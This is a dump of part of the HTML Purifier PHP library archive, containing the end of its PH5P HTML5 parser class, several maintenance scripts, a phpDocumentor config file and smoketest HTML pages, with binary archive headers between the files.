/* A start tag whose tag name is "select" */
} elseif($token['name'] === 'select' &&
$token['type'] === HTML5::STARTTAG) {
/* Parse error. Act as if the token had been an end tag with the
tag name "select" instead. */
$this->inSelect(array(
'name' => 'select',
'type' => HTML5::ENDTAG
));
/* An end tag whose tag name is one of: "caption", "table", "tbody",
"tfoot", "thead", "tr", "td", "th" */
} elseif(in_array($token['name'], array('caption', 'table', 'tbody',
'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) {
/* Parse error. */
// w/e
/* If the stack of open elements has an element in table scope with
the same tag name as that of the token, then act as if an end tag
with the tag name "select" had been seen, and reprocess the token.
Otherwise, ignore the token. */
if($this->elementInScope($token['name'], true)) {
$this->inSelect(array(
'name' => 'select',
'type' => HTML5::ENDTAG
));
$this->mainPhase($token);
}
/* Anything else */
} else {
/* Parse error. Ignore the token. */
}
}
private function afterBody($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
if($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Process the token as it would be processed if the insertion mode
was "in body". */
$this->inBody($token);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the first element in the stack of open
elements (the html element), with the data attribute set to the
data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
$this->stack[0]->appendChild($comment);
/* An end tag with the tag name "html" */
} elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') {
/* If the parser was originally created in order to handle the
setting of an element's innerHTML attribute, this is a parse error;
ignore the token. (The element will be an html element in this
case.) (innerHTML case) */
/* Otherwise, switch to the trailing end phase. */
$this->phase = self::END_PHASE;
/* Anything else */
} else {
/* Parse error. Set the insertion mode to "in body" and reprocess
the token. */
$this->mode = self::IN_BODY;
return $this->inBody($token);
}
}
private function inFrameset($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */
if($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$this->insertComment($token['data']);
/* A start tag with the tag name "frameset" */
} elseif($token['name'] === 'frameset' &&
$token['type'] === HTML5::STARTTAG) {
$this->insertElement($token);
/* An end tag with the tag name "frameset" */
} elseif($token['name'] === 'frameset' &&
$token['type'] === HTML5::ENDTAG) {
/* If the current node is the root html element, then this is a
parse error; ignore the token. (innerHTML case) */
if(end($this->stack)->nodeName === 'html') {
// Ignore
} else {
/* Otherwise, pop the current node from the stack of open
elements. */
array_pop($this->stack);
/* If the parser was not originally created in order to handle
the setting of an element's innerHTML attribute (innerHTML case),
and the current node is no longer a frameset element, then change
the insertion mode to "after frameset". */
$this->mode = self::AFTR_FRAME;
}
/* A start tag with the tag name "frame" */
} elseif($token['name'] === 'frame' &&
$token['type'] === HTML5::STARTTAG) {
/* Insert an HTML element for the token. */
$this->insertElement($token);
/* Immediately pop the current node off the stack of open elements. */
array_pop($this->stack);
/* A start tag with the tag name "noframes" */
} elseif($token['name'] === 'noframes' &&
$token['type'] === HTML5::STARTTAG) {
/* Process the token as if the insertion mode had been "in body". */
$this->inBody($token);
/* Anything else */
} else {
/* Parse error. Ignore the token. */
}
}
private function afterFrameset($token)
{
/* Handle the token as follows: */
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */
if($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Append the character to the current node. */
$this->insertText($token['data']);
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the current node with the data
attribute set to the data given in the comment token. */
$this->insertComment($token['data']);
/* An end tag with the tag name "html" */
} elseif($token['name'] === 'html' &&
$token['type'] === HTML5::ENDTAG) {
/* Switch to the trailing end phase. */
$this->phase = self::END_PHASE;
/* A start tag with the tag name "noframes" */
} elseif($token['name'] === 'noframes' &&
$token['type'] === HTML5::STARTTAG) {
/* Process the token as if the insertion mode had been "in body". */
$this->inBody($token);
/* Anything else */
} else {
/* Parse error. Ignore the token. */
}
}
private function trailingEndPhase($token)
{
/* After the main phase, as each token is emitted from the tokenisation
stage, it must be processed as described in this section. */
/* A DOCTYPE token */
if($token['type'] === HTML5::DOCTYPE) {
// Parse error. Ignore the token.
/* A comment token */
} elseif($token['type'] === HTML5::COMMENT) {
/* Append a Comment node to the Document object with the data
attribute set to the data given in the comment token. */
$comment = $this->dom->createComment($token['data']);
$this->dom->appendChild($comment);
/* A character token that is one of one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE */
} elseif($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
/* Process the token as it would be processed in the main phase. */
$this->mainPhase($token);
/* A character token that is not one of U+0009 CHARACTER TABULATION,
U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
or U+0020 SPACE. Or a start tag token. Or an end tag token. */
} elseif(($token['type'] === HTML5::CHARACTR &&
preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) ||
$token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) {
/* Parse error. Switch back to the main phase and reprocess the
token. */
$this->phase = self::MAIN_PHASE;
return $this->mainPhase($token);
/* An end-of-file token */
} elseif($token['type'] === HTML5::EOF) {
/* OMG DONE!! */
}
}
private function insertElement($token, $append = true)
{
$el = $this->dom->createElement($token['name']);
foreach($token['attr'] as $attr) {
if(!$el->hasAttribute($attr['name'])) {
$el->setAttribute($attr['name'], $attr['value']);
}
}
$this->appendToRealParent($el);
$this->stack[] = $el;
return $el;
}
private function insertText($data)
{
$text = $this->dom->createTextNode($data);
$this->appendToRealParent($text);
}
private function insertComment($data)
{
$comment = $this->dom->createComment($data);
$this->appendToRealParent($comment);
}
private function appendToRealParent($node)
{
if($this->foster_parent === null) {
end($this->stack)->appendChild($node);
} elseif($this->foster_parent !== null) {
/* If the foster parent element is the parent element of the
last table element in the stack of open elements, then the new
node must be inserted immediately before the last table element
in the stack of open elements in the foster parent element;
otherwise, the new node must be appended to the foster parent
element. */
for($n = count($this->stack) - 1; $n >= 0; $n--) {
if($this->stack[$n]->nodeName === 'table' &&
$this->stack[$n]->parentNode !== null) {
$table = $this->stack[$n];
break;
}
}
if(isset($table) && $this->foster_parent->isSameNode($table->parentNode))
$this->foster_parent->insertBefore($node, $table);
else
$this->foster_parent->appendChild($node);
$this->foster_parent = null;
}
}
private function elementInScope($el, $table = false)
{
if(is_array($el)) {
foreach($el as $element) {
if($this->elementInScope($element, $table)) {
return true;
}
}
return false;
}
$leng = count($this->stack);
for($n = 0; $n < $leng; $n++) {
/* 1. Initialise node to be the current node (the bottommost node of
the stack). */
$node = $this->stack[$leng - 1 - $n];
if($node->tagName === $el) {
/* 2. If node is the target node, terminate in a match state. */
return true;
} elseif($node->tagName === 'table') {
/* 3. Otherwise, if node is a table element, terminate in a failure
state. */
return false;
} elseif($table === true && in_array($node->tagName, array('caption', 'td',
'th', 'button', 'marquee', 'object'))) {
/* 4. Otherwise, if the algorithm is the "has an element in scope"
variant (rather than the "has an element in table scope" variant),
and node is one of the following, terminate in a failure state. */
return false;
} elseif($node === $node->ownerDocument->documentElement) {
/* 5. Otherwise, if node is an html element (root element), terminate
in a failure state. (This can only happen if the node is the topmost
node of the stack of open elements, and prevents the next step from
being invoked if there are no more elements in the stack.) */
return false;
}
/* Otherwise, set node to the previous entry in the stack of open
elements and return to step 2. (This will never fail, since the loop
will always terminate in the previous step if the top of the stack
is reached.) */
}
}
private function reconstructActiveFormattingElements()
{
/* 1. If there are no entries in the list of active formatting elements,
then there is nothing to reconstruct; stop this algorithm. */
$formatting_elements = count($this->a_formatting);
if($formatting_elements === 0) {
return false;
}
/* 3. Let entry be the last (most recently added) element in the list
of active formatting elements. */
$entry = end($this->a_formatting);
/* 2. If the last (most recently added) entry in the list of active
formatting elements is a marker, or if it is an element that is in the
stack of open elements, then there is nothing to reconstruct; stop this
algorithm. */
if($entry === self::MARKER || in_array($entry, $this->stack, true)) {
return false;
}
for($a = $formatting_elements - 1; $a >= 0; true) {
/* 4. If there are no entries before entry in the list of active
formatting elements, then jump to step 8. */
if($a === 0) {
$step_seven = false;
break;
}
/* 5. Let entry be the entry one earlier than entry in the list of
active formatting elements. */
$a--;
$entry = $this->a_formatting[$a];
/* 6. If entry is neither a marker nor an element that is also in
thetack of open elements, go to step 4. */
if($entry === self::MARKER || in_array($entry, $this->stack, true)) {
break;
}
}
while(true) {
/* 7. Let entry be the element one later than entry in the list of
active formatting elements. */
if(isset($step_seven) && $step_seven === true) {
$a++;
$entry = $this->a_formatting[$a];
}
/* 8. Perform a shallow clone of the element entry to obtain clone. */
$clone = $entry->cloneNode();
/* 9. Append clone to the current node and push it onto the stack
of open elements so that it is the new current node. */
end($this->stack)->appendChild($clone);
$this->stack[] = $clone;
/* 10. Replace the entry for entry in the list with an entry for
clone. */
$this->a_formatting[$a] = $clone;
/* 11. If the entry for clone in the list of active formatting
elements is not the last entry in the list, return to step 7. */
if(end($this->a_formatting) !== $clone) {
$step_seven = true;
} else {
break;
}
}
}
private function clearTheActiveFormattingElementsUpToTheLastMarker()
{
/* When the steps below require the UA to clear the list of active
formatting elements up to the last marker, the UA must perform the
following steps: */
while(true) {
/* 1. Let entry be the last (most recently added) entry in the list
of active formatting elements. */
$entry = end($this->a_formatting);
/* 2. Remove entry from the list of active formatting elements. */
array_pop($this->a_formatting);
/* 3. If entry was a marker, then stop the algorithm at this point.
The list has been cleared up to the last marker. */
if($entry === self::MARKER) {
break;
}
}
}
private function generateImpliedEndTags(array $exclude = array())
{
/* When the steps below require the UA to generate implied end tags,
then, if the current node is a dd element, a dt element, an li element,
a p element, a td element, a th element, or a tr element, the UA must
act as if an end tag with the respective tag name had been seen and
then generate implied end tags again. */
$node = end($this->stack);
$elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude);
while(in_array(end($this->stack)->nodeName, $elements)) {
array_pop($this->stack);
}
}
private function getElementCategory($name)
{
if(in_array($name, $this->special))
return self::SPECIAL;
elseif(in_array($name, $this->scoping))
return self::SCOPING;
elseif(in_array($name, $this->formatting))
return self::FORMATTING;
else
return self::PHRASING;
}
private function clearStackToTableContext($elements)
{
/* When the steps above require the UA to clear the stack back to a
table context, it means that the UA must, while the current node is not
a table element or an html element, pop elements from the stack of open
elements. If this causes any elements to be popped from the stack, then
this is a parse error. */
while(true) {
$node = end($this->stack)->nodeName;
if(in_array($node, $elements)) {
break;
} else {
array_pop($this->stack);
}
}
}
private function resetInsertionMode()
{
/* 1. Let last be false. */
$last = false;
$leng = count($this->stack);
for($n = $leng - 1; $n >= 0; $n--) {
/* 2. Let node be the last node in the stack of open elements. */
$node = $this->stack[$n];
/* 3. If node is the first node in the stack of open elements, then
set last to true. If the element whose innerHTML attribute is being
set is neither a td element nor a th element, then set node to the
element whose innerHTML attribute is being set. (innerHTML case) */
if($this->stack[0]->isSameNode($node)) {
$last = true;
}
/* 4. If node is a select element, then switch the insertion mode to
"in select" and abort these steps. (innerHTML case) */
if($node->nodeName === 'select') {
$this->mode = self::IN_SELECT;
break;
/* 5. If node is a td or th element, then switch the insertion mode
to "in cell" and abort these steps. */
} elseif($node->nodeName === 'td' || $node->nodeName === 'th') {
$this->mode = self::IN_CELL;
break;
/* 6. If node is a tr element, then switch the insertion mode to
"in row" and abort these steps. */
} elseif($node->nodeName === 'tr') {
$this->mode = self::IN_ROW;
break;
/* 7. If node is a tbody, thead, or tfoot element, then switch the
insertion mode to "in table body" and abort these steps. */
} elseif(in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) {
$this->mode = self::IN_TBODY;
break;
/* 8. If node is a caption element, then switch the insertion mode
to "in caption" and abort these steps. */
} elseif($node->nodeName === 'caption') {
$this->mode = self::IN_CAPTION;
break;
/* 9. If node is a colgroup element, then switch the insertion mode
to "in column group" and abort these steps. (innerHTML case) */
} elseif($node->nodeName === 'colgroup') {
$this->mode = self::IN_CGROUP;
break;
/* 10. If node is a table element, then switch the insertion mode
to "in table" and abort these steps. */
} elseif($node->nodeName === 'table') {
$this->mode = self::IN_TABLE;
break;
/* 11. If node is a head element, then switch the insertion mode
to "in body" ("in body"! not "in head"!) and abort these steps.
(innerHTML case) */
} elseif($node->nodeName === 'head') {
$this->mode = self::IN_BODY;
break;
/* 12. If node is a body element, then switch the insertion mode to
"in body" and abort these steps. */
} elseif($node->nodeName === 'body') {
$this->mode = self::IN_BODY;
break;
/* 13. If node is a frameset element, then switch the insertion
mode to "in frameset" and abort these steps. (innerHTML case) */
} elseif($node->nodeName === 'frameset') {
$this->mode = self::IN_FRAME;
break;
/* 14. If node is an html element, then: if the head element
pointer is null, switch the insertion mode to "before head",
otherwise, switch the insertion mode to "after head". In either
case, abort these steps. (innerHTML case) */
} elseif($node->nodeName === 'html') {
$this->mode = ($this->head_pointer === null)
? self::BEFOR_HEAD
: self::AFTER_HEAD;
break;
/* 15. If last is true, then set the insertion mode to "in body"
and abort these steps. (innerHTML case) */
} elseif($last) {
$this->mode = self::IN_BODY;
break;
}
}
}
private function closeCell()
{
/* If the stack of open elements has a td or th element in table scope,
then act as if an end tag token with that tag name had been seen. */
foreach(array('td', 'th') as $cell) {
if($this->elementInScope($cell, true)) {
$this->inCell(array(
'name' => $cell,
'type' => HTML5::ENDTAG
));
break;
}
}
}
public function save()
{
return $this->dom;
}
}
PK j�$Z�G�g g " htmlpurifier/maintenance/flush.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
/**
* @file
* Runs all generation/flush cache scripts to ensure that somewhat volatile
* generated files are up-to-date.
*/
function e($cmd)
{
echo "\$ $cmd\n";
passthru($cmd, $status);
echo "\n";
if ($status) exit($status);
}
$php = empty($_SERVER['argv'][1]) ? 'php' : $_SERVER['argv'][1];
e($php . ' generate-includes.php');
e($php . ' generate-schema-cache.php');
e($php . ' flush-definition-cache.php');
e($php . ' generate-standalone.php');
e($php . ' config-scanner.php');
// vim: et sw=4 sts=4
PK j�$ZK��� � 0 htmlpurifier/maintenance/generate-ph5p-patch.phpnu �[��� <?php
/**
* @file
* This file compares our version of PH5P with Jero's original version, and
* generates a patch of the differences. This script should be run whenever
* library/HTMLPurifier/Lexer/PH5P.php is modified.
*/
$orig = realpath(dirname(__FILE__) . '/PH5P.php');
$new = realpath(dirname(__FILE__) . '/../library/HTMLPurifier/Lexer/PH5P.php');
$newt = dirname(__FILE__) . '/PH5P.new.php'; // temporary file
// minor text-processing of new file to get into same format as original
$new_src = file_get_contents($new);
$new_src = '<?php' . PHP_EOL . substr($new_src, strpos($new_src, 'class HTML5 {'));
file_put_contents($newt, $new_src);
shell_exec("diff -u \"$orig\" \"$newt\" > PH5P.patch");
unlink($newt);
// vim: et sw=4 sts=4
PK j�$Z�>� � + htmlpurifier/maintenance/regenerate-docs.shnu �[��� #!/bin/bash -e
./compile-doxygen.sh
cd ../docs
scp doxygen.tgz htmlpurifier.org:/home/ezyang/htmlpurifier.org
ssh htmlpurifier.org "cd /home/ezyang/htmlpurifier.org && ./reload-docs.sh"
PK j�$Z�%�
� � 1 htmlpurifier/maintenance/generate-entity-file.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
/**
* @file
* Parses *.ent files into an entity lookup table, and then serializes and
* writes the whole kaboodle to a file. The resulting file is cached so
* that this script does not need to be run. This script should rarely,
* if ever, be run, since HTML's entities are fairly immutable.
*/
// here's where the entity files are located, assuming working directory
// is the same as the location of this PHP file. Needs trailing slash.
$entity_dir = '../docs/entities/';
// defines the output file for the serialized content.
$output_file = '../library/HTMLPurifier/EntityLookup/entities.ser';
// courtesy of a PHP manual comment
function unichr($dec)
{
if ($dec < 128) {
$utf = chr($dec);
} elseif ($dec < 2048) {
$utf = chr(192 + (($dec - ($dec % 64)) / 64));
$utf .= chr(128 + ($dec % 64));
} else {
$utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
$utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
$utf .= chr(128 + ($dec % 64));
}
return $utf;
}
if ( !is_dir($entity_dir) ) exit("Fatal Error: Can't find entity directory.\n");
if ( file_exists($output_file) ) exit("Fatal Error: output file already exists.\n");
$dh = @opendir($entity_dir);
if ( !$dh ) exit("Fatal Error: Cannot read entity directory.\n");
$entity_files = array();
while (($file = readdir($dh)) !== false) {
if (@$file[0] === '.') continue;
if (substr(strrchr($file, "."), 1) !== 'ent') continue;
$entity_files[] = $file;
}
closedir($dh);
if ( !$entity_files ) exit("Fatal Error: No entity files to parse.\n");
$entity_table = array();
$regexp = '/<!ENTITY\s+([A-Za-z0-9]+)\s+"&#(?:38;#)?([0-9]+);">/';
foreach ( $entity_files as $file ) {
$contents = file_get_contents($entity_dir . $file);
$matches = array();
preg_match_all($regexp, $contents, $matches, PREG_SET_ORDER);
foreach ($matches as $match) {
$entity_table[$match[1]] = unichr($match[2]);
}
}
$output = serialize($entity_table);
$fh = fopen($output_file, 'w');
fwrite($fh, $output);
fclose($fh);
echo "Completed successfully.";
// vim: et sw=4 sts=4
PK j�$Zϕ� � 7 htmlpurifier/maintenance/remove-trailing-whitespace.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
/**
* @file
* Removes trailing whitespace from files.
*/
chdir(dirname(__FILE__) . '/..');
$FS = new FSTools();
$files = $FS->globr('.', '{,.}*', GLOB_BRACE);
foreach ($files as $file) {
if (
!is_file($file) ||
prefix_is('./.git', $file) ||
prefix_is('./docs/doxygen', $file) ||
postfix_is('.ser', $file) ||
postfix_is('.tgz', $file) ||
postfix_is('.patch', $file) ||
postfix_is('.dtd', $file) ||
postfix_is('.ent', $file) ||
$file == './library/HTMLPurifier/Lexer/PH5P.php' ||
$file == './maintenance/PH5P.php'
) continue;
$contents = file_get_contents($file);
$result = preg_replace('/^(.*?)[ \t]+(\r?)$/m', '\1\2', $contents, -1, $count);
if (!$count) continue;
echo "$file\n";
file_put_contents($file, $result);
}
// vim: et sw=4 sts=4
PK j�$Z�
.�� � / htmlpurifier/maintenance/old-extract-schema.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
echo "Please do not run this script. It is here for historical purposes only.";
exit;
/**
* @file
* Extracts all definitions inside a configuration schema
* (HTMLPurifier_ConfigSchema) and exports them as plain text files.
*
* @todo Extract version numbers.
*/
define('HTMLPURIFIER_SCHEMA_STRICT', true); // description data needs to be collected
require_once dirname(__FILE__) . '/../library/HTMLPurifier.auto.php';
// We need includes to ensure all HTMLPurifier_ConfigSchema calls are
// performed.
require_once 'HTMLPurifier.includes.php';
// Also, these extra files will be necessary.
require_once 'HTMLPurifier/Filter/ExtractStyleBlocks.php';
/**
* Takes a hash and saves its contents to library/HTMLPurifier/ConfigSchema/
*/
function saveHash($hash)
{
if ($hash === false) return;
$dir = realpath(dirname(__FILE__) . '/../library/HTMLPurifier/ConfigSchema');
$name = $hash['ID'] . '.txt';
$file = $dir . '/' . $name;
if (file_exists($file)) {
trigger_error("File already exists; skipped $name");
return;
}
$file = new FSTools_File($file);
$file->open('w');
$multiline = false;
foreach ($hash as $key => $value) {
$multiline = $multiline || (strpos($value, "\n") !== false);
if ($multiline) {
$file->put("--$key--" . PHP_EOL);
$file->put(str_replace("\n", PHP_EOL, $value) . PHP_EOL);
} else {
if ($key == 'ID') {
$file->put("$value" . PHP_EOL);
} else {
$file->put("$key: $value" . PHP_EOL);
}
}
}
$file->close();
}
$schema = HTMLPurifier_ConfigSchema::instance();
$adapter = new HTMLPurifier_ConfigSchema_StringHashReverseAdapter($schema);
foreach ($schema->info as $ns => $ns_array) {
saveHash($adapter->get($ns));
foreach ($ns_array as $dir => $x) {
saveHash($adapter->get($ns, $dir));
}
}
// vim: et sw=4 sts=4
PK j�$ZA��?0 0 2 htmlpurifier/maintenance/old-remove-schema-def.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
echo "Please do not run this script. It is here for historical purposes only.";
exit;
/**
* @file
* Removes ConfigSchema function calls from source files.
*/
chdir(dirname(__FILE__) . '/../library/');
$FS = new FSTools();
$files = $FS->globr('.', '*.php');
foreach ($files as $file) {
if (substr_count(basename($file), '.') > 1) continue;
$old_code = file_get_contents($file);
$new_code = preg_replace("#^HTMLPurifier_ConfigSchema::.+?\);[\n\r]*#ms", '', $old_code);
if ($old_code !== $new_code) {
file_put_contents($file, $new_code);
}
if (preg_match('#^\s+HTMLPurifier_ConfigSchema::#m', $new_code)) {
echo "Indented ConfigSchema call in $file\n";
}
}
// vim: et sw=4 sts=4
PK j�$Zόi7 7 3 htmlpurifier/maintenance/flush-definition-cache.phpnu �[��� #!/usr/bin/php
<?php
chdir(dirname(__FILE__));
require_once 'common.php';
assertCli();
/**
* @file
* Flushes the definition serial cache. This file should be
* called if changes to any subclasses of HTMLPurifier_Definition
* or related classes (such as HTMLPurifier_HTMLModule) are made. This
* may also be necessary if you've modified a customized version.
*
* @param Accepts one argument, cache type to flush; otherwise flushes all
* the caches.
*/
echo "Flushing cache... \n";
require_once(dirname(__FILE__) . '/../library/HTMLPurifier.auto.php');
$config = HTMLPurifier_Config::createDefault();
$names = array('HTML', 'CSS', 'URI', 'Test');
if (isset($argv[1])) {
if (in_array($argv[1], $names)) {
$names = array($argv[1]);
} else {
throw new Exception("Cache parameter {$argv[1]} is not a valid cache");
}
}
foreach ($names as $name) {
echo " - Flushing $name\n";
$cache = new HTMLPurifier_DefinitionCache_Serializer($name);
$cache->flush($config);
}
echo "Cache flushed successfully.\n";
// vim: et sw=4 sts=4
PK j�$Z���� � htmlpurifier/phpdoc.ininu �[��� ;; phpDocumentor parse configuration file
;;
;; This file is designed to cut down on repetitive typing on the command-line or web interface
;; You can copy this file to create a number of configuration files that can be used with the
;; command-line switch -c, as in phpdoc -c default.ini or phpdoc -c myini.ini. The web
;; interface will automatically generate a list of .ini files that can be used.
;;
;; default.ini is used to generate the online manual at http://www.phpdoc.org/docs
;;
;; ALL .ini files must be in the user subdirectory of phpDocumentor with an extension of .ini
;;
;; Copyright 2002, Greg Beaver <cellog@users.sourceforge.net>
;;
;; WARNING: do not change the name of any command-line parameters, phpDocumentor will ignore them
[Parse Data]
;; title of all the documentation
;; legal values: any string
title = HTML Purifier API Documentation
;; parse files that start with a . like .bash_profile
;; legal values: true, false
hidden = false
;; show elements marked @access private in documentation by setting this to on
;; legal values: on, off
parseprivate = off
;; parse with javadoc-like description (first sentence is always the short description)
;; legal values: on, off
javadocdesc = on
;; add any custom @tags separated by commas here
;; legal values: any legal tagname separated by commas.
;customtags = mytag1,mytag2
;; This is only used by the XML:DocBook/peardoc2 converter
defaultcategoryname = Documentation
;; what is the main package?
;; legal values: alphanumeric string plus - and _
defaultpackagename = HTMLPurifier
;; output any parsing information? set to on for cron jobs
;; legal values: on
;quiet = on
;; parse a PEAR-style repository. Do not turn this on if your project does
;; not have a parent directory named "pear"
;; legal values: on/off
;pear = on
;; where should the documentation be written?
;; legal values: a legal path
target = docs/phpdoc
;; Which files should be parsed out as special documentation files, such as README,
;; INSTALL and CHANGELOG? This overrides the default files found in
;; phpDocumentor.ini (this file is not a user .ini file, but the global file)
readmeinstallchangelog = README, INSTALL, NEWS, WYSIWYG, SLOW, LICENSE, CREDITS
;; limit output to the specified packages, even if others are parsed
;; legal values: package names separated by commas
;packageoutput = package1,package2
;; comma-separated list of files to parse
;; legal values: paths separated by commas
;filename = /path/to/file1,/path/to/file2,fileincurrentdirectory
;; comma-separated list of directories to parse
;; legal values: directory paths separated by commas
;directory = /path1,/path2,.,..,subdirectory
;directory = /home/jeichorn/cvs/pear
directory = .
;; template base directory (the equivalent directory of <installdir>/phpDocumentor)
;templatebase = /path/to/my/templates
;; directory to find any example files in through @example and {@example} tags
;examplesdir = /path/to/my/templates
;; comma-separated list of files, directories or wildcards ? and * (any wildcard) to ignore
;; legal values: any wildcard strings separated by commas
;ignore = /path/to/ignore*,*list.php,myfile.php,subdirectory/
ignore = *tests*,*benchmarks*,*docs*,*test-settings.php,*configdoc*,*maintenance*,*smoketests*,*standalone*,*.svn*,*conf*
sourcecode = on
;; comma-separated list of Converters to use in outputformat:Convertername:templatedirectory format
;; legal values: HTML:frames:default,HTML:frames:l0l33t,HTML:frames:phpdoc.de,HTML:frames:phphtmllib,
;; HTML:frames:earthli,
;; HTML:frames:DOM/default,HTML:frames:DOM/l0l33t,HTML:frames:DOM/phpdoc.de,
;; HTML:frames:DOM/phphtmllib,HTML:frames:DOM/earthli
;; HTML:Smarty:default,HTML:Smarty:PHP,HTML:Smarty:HandS
;; PDF:default:default,CHM:default:default,XML:DocBook/peardoc2:default
output=HTML:frames:default
;; turn this option on if you want highlighted source code for every file
;; legal values: on/off
sourcecode = on
; vim: et sw=4 sts=4
PK j�$ZnT�d d . htmlpurifier/smoketests/basic/allElements.htmlnu �[��� <?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>HTML Purifier All Elements Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="stylesheet" href="allElements.css" type="text/css" />
</head>
<body>
<h1>HTML Purifier All Elements Smoketest</h1>
<p>This is the all elements smoke
test. It is divided by XHTML 1.1 style modules. Make sure
<code>div</code>, <code>span</code> and <code>id</code> are allowed,
otherwise there will be problems.</p>
<h2>Core attributes</h2>
<div id="core-attributes">
<div id="core-attributes-id">id</div>
<div class="core-attributes-class">class</div>
<div title="tooltip">title</div>
<div lang="en">lang</div>
<div xml:lang="en">xml:lang (green when lang also present)</div>
<div style="background:#008000">style</div>
<div onclick="alert('foo');">onclick (and other event handlers)</div>
</div>
<h2>Text module</h2>
<div id="module-text">
<abbr>abbr</abbr>
<acronym>acronym</acronym>
<div><blockquote>blockquote</blockquote></div>
<blockquote cite="http://www.example.com">blockquote@cite</blockquote>
<br />
<cite>cite</cite>
<code>code</code>
<dfn>dfn</dfn>
<em>em</em>
<h1>h1</h1>
<h2>h2</h2>
<h3>h3</h3>
<h4>h4</h4>
<h5>h5</h5>
<h6>h6</h6>
<kbd>kbd</kbd>
<p>p</p>
<pre>pre</pre>
<span><q>q</q></span>
<q cite="http://www.example.com">q@cite</q>
<samp>samp</samp>
<strong>strong</strong>
<var>var</var>
</div>
<h2>Hypertext module</h2>
<div id="module-hypertext">
<span><a>a</a></span>:
<a accesskey="q">accesskey</a>
<a charset="UTF-8">charset</a>
<a href="http://www.example.com/">href</a>
<a hreflang="en">hreflang</a>
<a rel="nofollow">rel</a>
<a rev="index">rev</a>
<a tabindex="1">tabindex</a>
<a type="text/plain">type</a>
</div>
<h2>List module</h2>
<div id="module-list">
<dl><dt>dl dt</dt><dd>dl dd</dd></dl>
<ol><li>ol li</li></ol>
<ul><li>ul li</li></ul>
</div>
</body>
</html>
<!-- vim: et sw=4 sts=4
-->
PK j�$Z
��� � ) htmlpurifier/smoketests/basic/legacy.htmlnu �[��� <?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>HTML Purifier Legacy Smoketest Test Data</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="stylesheet" href="legacy.css" type="text/css" />
</head>
<body>
<h1>HTML Purifier Legacy Smoketest Test Data</h1>
<p>This is the legacy smoketest.</p>
<h2>Elements</h2>
<div>
<div>
<basefont color="green" face="Arial" size="6" id="basefont" />
basefont: Green, Arial, size 6 text (IE-only)
</div>
<center>center</center>
<dir compact="compact">
<li>dir</li>
</dir>
<font color="green" face="Arial" size="6">font: Green, Arial, size 6 text</font>
isindex:
<isindex prompt="Foo" />
<menu compact="compact">
<li>menu</li>
</menu>
<s>s</s> <strike>strike</strike> <u>u</u>
</div>
<h2>Attributes</h2>
<div>
<!-- body -->
<div style="font-size:42pt; float:left;">*</div>
<br clear="left" />
<p>br@clear (asterisk is up)</p>
<table>
<caption align="bottom">caption@align</caption>
<tr><td>Cell</td></tr>
</table>
<div align="center">div@center</div>
<dl compact="compact">
<dt>dl@compact</dt>
</dl>
<h1 align="right">h1</h1>
<h2 align="right">h2</h2>
<h3 align="right">h3</h3>
<h4 align="right">h4</h4>
<h5 align="right">h5</h5>
<h6 align="right">h6</h6>
hr@align
<hr align="right" width="50" />
hr@noshade
<hr noshade="noshade" />
hr@width
<hr width="50" />
hr@size
<hr size="50" />
<img src="" alt="img@align" align="right" /> |
<img src="" alt="img@border" border="3" /> |
